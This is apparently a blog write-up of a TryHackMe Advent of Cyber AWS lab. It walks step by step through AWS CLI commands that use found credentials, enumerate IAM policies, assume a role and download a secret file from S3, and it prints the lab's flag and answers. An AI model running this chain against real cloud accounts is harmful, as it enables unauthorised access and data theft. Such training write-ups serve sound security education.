Advent of Cyber 2025 - Day 23 - AWS Security - S3cret Santa

 

☁️ Day 23: Reclaiming the Cloud – An AWS IAM Adventure 🐰🔐

🌟 Introduction

Deep inside the Kingdom of Wareville, one of TBFC’s stealthiest elves pulled off an incredible infiltration 🕵️‍♂️. Hopping quietly into Sir Carrotbane’s office, the elf discovered a shocking sight — cloud credentials casually lying on the desktop like forgotten carrots 🥕💻.

The mission was clear:
👉 Use these credentials
👉 Regain access to TBFC’s cloud network
👉 Uncover hidden secrets in the cloud ☁️

Let’s walk through how this cloud infiltration unfolded using AWS IAM and the AWS CLI 🚀

🎯 Learning Objectives

By the end of this mission, we learned how to:

  • 🧠 Understand AWS accounts & IAM

  • 🔍 Enumerate permissions from an attacker’s perspective

  • 💻 Use the AWS CLI

  • 🎭 Assume roles to escalate privileges

  • 📦 Access sensitive data from Amazon S3

🔌 Lab Setup & AWS CLI Configuration

AWS allows programmatic access using:

  • Access Key ID

  • Secret Access Key

These credentials were already configured in:

~/.aws/credentials

To confirm if they worked, we used AWS STS:

aws sts get-caller-identity

✅ Result:

🎉 The credentials were valid and belonged to:

sir.carrotbane

The elf was delighted — cloud access restored! 😄☁️

🧩 IAM Explained (Users, Groups, Roles & Policies)

👤 IAM Users

A user represents an individual identity with specific permissions.

➡️ Example: Sir Carrotbane

👥 IAM Groups

Groups simplify permission management by assigning policies to multiple users at once.

➡️ Example: Carrotbane’s army

🎭 IAM Roles

Roles provide temporary permissions that can be assumed when needed.

➡️ Sir Carrotbane switching roles based on the battle ⚔️🛡️

📜 IAM Policies

Policies define:

  • ✅ What actions are allowed

  • 📍 Which resources

  • 🔐 Under what conditions

  • 👤 For whom

💡 Correct Answer:
Policy is the IAM component that defines permissions.

🔍 Enumerating Sir Carrotbane’s Permissions

👥 Listing Users

aws iam list-users

📜 Checking Inline Policies

aws iam list-user-policies --user-name sir.carrotbane

✔️ Found an inline policy!

📎 Attached Policies?

aws iam list-attached-user-policies --user-name sir.carrotbane

❌ None found.

👥 Group Membership?

aws iam list-groups-for-user --user-name sir.carrotbane

❌ Not part of any group.

🧠 Inspecting the Inline Policy

aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane

🔎 The policy allowed:

  • Listing users, groups, roles

  • Reading IAM policies

  • Assuming roles using sts:AssumeRole 🎯

💡 Correct Answer:
SirCarrotbanePolicy

🎭 Assuming Roles – The Turning Point

🔍 Enumerating Roles

aws iam list-roles

🎉 Jackpot!
A role named bucketmaster could be assumed by sir.carrotbane.

📜 Checking Role Policies

aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy

🔑 Permissions unlocked:

  • s3:ListAllMyBuckets

  • s3:ListBucket

  • s3:GetObject

💡 Correct Answer:
ListAllMyBuckets

🔐 Assuming the Bucketmaster Role

aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/bucketmaster \
--role-session-name TBFC

🧾 Temporary credentials were generated:

  • AccessKeyId

  • SecretAccessKey

  • SessionToken

These were exported to the environment, officially upgrading our access 🚀

📦 Exploring Amazon S3

☁️ What is S3?

Amazon Simple Storage Service (S3) is cloud object storage used for:

  • 📄 Documents

  • 🖼️ Images

  • 📦 Backups

  • 🧾 Logs

Everything is stored inside Buckets 🪣

📋 Listing Buckets

aws s3api list-buckets

👀 A suspicious bucket appeared:

easter-secrets-123145

📂 Listing Objects

aws s3api list-objects --bucket easter-secrets-123145

🎯 A file stood out:

cloud_password.txt

📥 Downloading the Secret File

aws s3api get-object \
--bucket easter-secrets-123145 \
--key cloud_password.txt cloud_password.txt

🏁 Mission Complete – Secret Revealed 🎉

📄 Contents of cloud_password.txt:

THM{more_like_sir_cloudbane}

💡 Correct Answer confirmed!

🧠 Final Thoughts

This lab perfectly demonstrates how misconfigured IAM permissions and role assumption can lead to serious cloud security breaches ☁️⚠️.

A single forgotten credential turned into:

  • IAM enumeration 🔍

  • Role escalation 🎭

  • Sensitive data exfiltration 📦

🛡️ Lesson learned:

Least privilege and proper IAM configuration are critical in cloud security.

Comments

Post a Comment

Popular Posts